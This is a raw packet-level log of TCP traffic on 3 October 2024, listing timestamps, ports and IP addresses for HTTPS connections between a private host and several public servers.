Oct 3, 2024 18:18:15.251902103 CEST	443	49768	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.251934052 CEST	49768	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.251966000 CEST	443	49768	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.251976967 CEST	49768	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.252046108 CEST	443	49768	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.252098083 CEST	49768	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.252104044 CEST	443	49768	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.252219915 CEST	443	49768	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.252336979 CEST	443	49768	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.252531052 CEST	49768	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.252777100 CEST	49768	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.252789974 CEST	443	49768	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.286278963 CEST	443	49766	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:15.287420988 CEST	49766	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:15.287441969 CEST	443	49766	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:15.287939072 CEST	443	49766	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:15.288315058 CEST	49766	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:15.288386106 CEST	443	49766	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:15.288518906 CEST	49766	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:15.322478056 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.322536945 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.322572947 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.322594881 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.322648048 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.322664976 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.322743893 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.322797060 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.322805882 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.322849989 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.323218107 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.323272943 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.323280096 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.323321104 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.323565960 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.323620081 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.323630095 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.323676109 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.323697090 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.323750019 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.323832989 CEST	49763	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.323848009 CEST	443	49763	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.328489065 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.328579903 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.328686953 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.328921080 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.328955889 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.329284906 CEST	49776	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.329318047 CEST	443	49776	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.330395937 CEST	49776	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.330648899 CEST	49776	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.330662012 CEST	443	49776	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.331399918 CEST	443	49766	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:15.541771889 CEST	443	49766	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:15.543349028 CEST	443	49766	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:15.543370008 CEST	443	49766	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:15.543668985 CEST	49766	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:15.543668985 CEST	49766	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:15.543693066 CEST	443	49766	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:15.543951035 CEST	49766	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:15.546298981 CEST	443	49770	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.546653032 CEST	49770	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.546715975 CEST	443	49770	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.547640085 CEST	443	49770	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.547729969 CEST	49770	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.547976017 CEST	49770	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.548032999 CEST	49770	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.548032999 CEST	49770	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.548053026 CEST	443	49770	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.548197985 CEST	443	49770	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.548270941 CEST	49770	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.548309088 CEST	49770	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.548356056 CEST	49777	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.548405886 CEST	443	49777	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.548484087 CEST	49777	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.548646927 CEST	49777	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.548666954 CEST	443	49777	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.568713903 CEST	443	49771	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.568958998 CEST	49771	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.568984032 CEST	443	49771	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.569433928 CEST	443	49771	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.569725990 CEST	49771	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.569802046 CEST	443	49771	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.569858074 CEST	49771	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.576906919 CEST	443	49773	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.577533960 CEST	49773	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.577599049 CEST	443	49773	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.578105927 CEST	443	49773	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.579535961 CEST	49773	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.579612970 CEST	443	49773	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.579652071 CEST	49773	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.588184118 CEST	443	49772	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.588450909 CEST	49772	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.588490009 CEST	443	49772	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.588956118 CEST	443	49772	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.589263916 CEST	49772	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.589355946 CEST	443	49772	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.589375019 CEST	49772	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.611424923 CEST	443	49771	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.614327908 CEST	443	49774	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.618434906 CEST	49774	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.618468046 CEST	443	49774	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.619554043 CEST	443	49774	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.619642973 CEST	49774	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.623744965 CEST	49773	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.623764992 CEST	443	49773	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.625050068 CEST	49774	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.625140905 CEST	443	49774	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.625310898 CEST	49774	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.631431103 CEST	443	49772	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.633905888 CEST	443	49766	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:15.634007931 CEST	49766	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:15.634021044 CEST	443	49766	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:15.634778023 CEST	443	49766	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:15.634840965 CEST	49766	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:15.634848118 CEST	443	49766	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:15.634876966 CEST	49766	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:15.634949923 CEST	443	49766	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:15.635040045 CEST	49766	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:15.635047913 CEST	443	49766	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:15.635056019 CEST	49766	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:15.639755011 CEST	49772	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.671406984 CEST	443	49774	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.671757936 CEST	49774	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.671773911 CEST	443	49774	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.700185061 CEST	443	49769	34.215.34.228	192.168.2.16
Oct 3, 2024 18:18:15.703583956 CEST	49769	443	192.168.2.16	34.215.34.228
Oct 3, 2024 18:18:15.703628063 CEST	443	49769	34.215.34.228	192.168.2.16
Oct 3, 2024 18:18:15.705166101 CEST	443	49769	34.215.34.228	192.168.2.16
Oct 3, 2024 18:18:15.705176115 CEST	443	49773	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.705255985 CEST	49769	443	192.168.2.16	34.215.34.228
Oct 3, 2024 18:18:15.705306053 CEST	443	49773	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.705394030 CEST	443	49773	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.705461979 CEST	49773	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.705498934 CEST	443	49773	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.705537081 CEST	443	49773	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.705679893 CEST	443	49773	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.705705881 CEST	49773	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.705782890 CEST	443	49773	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.705827951 CEST	49773	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.705874920 CEST	443	49773	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.705992937 CEST	443	49773	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.706113100 CEST	443	49773	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.706152916 CEST	49773	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.706393957 CEST	49773	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.706429005 CEST	443	49773	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.706465006 CEST	49773	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.706868887 CEST	49773	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.706876040 CEST	49769	443	192.168.2.16	34.215.34.228
Oct 3, 2024 18:18:15.706964970 CEST	443	49769	34.215.34.228	192.168.2.16
Oct 3, 2024 18:18:15.707065105 CEST	49769	443	192.168.2.16	34.215.34.228
Oct 3, 2024 18:18:15.719595909 CEST	443	49771	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.719688892 CEST	443	49771	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.719732046 CEST	49774	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.719769955 CEST	49771	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.720295906 CEST	49771	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.720321894 CEST	443	49771	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.728797913 CEST	49778	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.728847980 CEST	443	49778	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.729438066 CEST	49778	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.729940891 CEST	49778	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.729962111 CEST	443	49778	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.737351894 CEST	443	49772	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.737499952 CEST	443	49772	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.737575054 CEST	49772	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.737615108 CEST	443	49772	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.737648010 CEST	443	49772	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.738379955 CEST	49772	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.738409042 CEST	443	49772	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.738435030 CEST	49772	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.751205921 CEST	443	49774	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.751247883 CEST	443	49774	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.751276016 CEST	443	49774	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.751324892 CEST	49774	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.751348972 CEST	443	49774	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.751404047 CEST	443	49769	34.215.34.228	192.168.2.16
Oct 3, 2024 18:18:15.751429081 CEST	49774	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.751526117 CEST	443	49774	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.751727104 CEST	443	49774	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.751744032 CEST	49769	443	192.168.2.16	34.215.34.228
Oct 3, 2024 18:18:15.751755953 CEST	443	49769	34.215.34.228	192.168.2.16
Oct 3, 2024 18:18:15.751777887 CEST	443	49774	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.751782894 CEST	49774	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.751827955 CEST	49774	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.752552032 CEST	49774	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.752574921 CEST	443	49774	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.786988020 CEST	443	49776	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.787455082 CEST	49776	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.787475109 CEST	443	49776	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.788456917 CEST	443	49776	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.789722919 CEST	49776	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.789724112 CEST	49776	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.789724112 CEST	49776	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.789724112 CEST	49776	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.789724112 CEST	49779	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.789774895 CEST	443	49779	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.789813995 CEST	443	49776	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.789913893 CEST	49779	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.789913893 CEST	49776	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.790137053 CEST	49779	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.790152073 CEST	443	49779	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.799067974 CEST	49769	443	192.168.2.16	34.215.34.228
Oct 3, 2024 18:18:15.800754070 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.803425074 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.803447962 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.806936979 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.807018042 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.807354927 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.807513952 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.807557106 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.848758936 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.848782063 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.896537066 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.951965094 CEST	443	49769	34.215.34.228	192.168.2.16
Oct 3, 2024 18:18:15.952068090 CEST	443	49769	34.215.34.228	192.168.2.16
Oct 3, 2024 18:18:15.952193975 CEST	49769	443	192.168.2.16	34.215.34.228
Oct 3, 2024 18:18:15.958012104 CEST	49769	443	192.168.2.16	34.215.34.228
Oct 3, 2024 18:18:15.958026886 CEST	443	49769	34.215.34.228	192.168.2.16
Oct 3, 2024 18:18:15.958460093 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.958596945 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.958678007 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.958707094 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.958791971 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.958869934 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.958920002 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.958931923 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.958972931 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.958980083 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.959048986 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.959120035 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.959168911 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.959177017 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:15.959218979 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:15.959224939 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.007885933 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.007919073 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.046220064 CEST	443	49777	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.046509027 CEST	49777	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.046542883 CEST	443	49777	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.046823978 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.046909094 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.046930075 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.046961069 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.047017097 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.047053099 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.047209978 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.047303915 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.047364950 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.047413111 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.047472000 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.047487020 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.047808886 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.047849894 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.047873020 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.047888041 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.047935963 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.047945976 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.047959089 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.048023939 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.048099041 CEST	443	49777	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.048165083 CEST	49777	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.048568010 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.048634052 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.048665047 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.048685074 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.048696995 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.049443960 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.049477100 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.049495935 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.049509048 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.049535990 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.049838066 CEST	49777	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.049920082 CEST	443	49777	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.051516056 CEST	49777	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.051525116 CEST	443	49777	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.102737904 CEST	49777	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.102782965 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.102803946 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.135286093 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.135361910 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.135366917 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.135411978 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.135473013 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.135490894 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.135624886 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.135685921 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.135700941 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.135787010 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.135842085 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.135854006 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.136185884 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.136205912 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.136249065 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.136261940 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.136296034 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.136307955 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.136362076 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.136373043 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.136435032 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.136445999 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.136993885 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.137082100 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.137115955 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.137128115 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.137156010 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.137275934 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.137340069 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.137423038 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.137459040 CEST	443	49775	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.137480974 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.137523890 CEST	49775	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.190613031 CEST	443	49777	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.190674067 CEST	443	49777	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.190711975 CEST	443	49777	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.190752029 CEST	443	49777	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.190751076 CEST	49777	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.190797091 CEST	443	49777	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.190849066 CEST	49777	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.191256046 CEST	443	49777	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.191318989 CEST	49777	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.191334963 CEST	443	49777	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.191487074 CEST	443	49777	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.191768885 CEST	49777	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.192030907 CEST	49777	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.192063093 CEST	443	49777	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.199949980 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 3, 2024 18:18:16.201220036 CEST	49780	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.201256990 CEST	443	49780	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.201910973 CEST	49780	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.201910973 CEST	49780	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.201941013 CEST	443	49780	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.206033945 CEST	443	49778	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:16.206288099 CEST	49778	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:16.206302881 CEST	443	49778	104.21.57.136	192.168.2.16
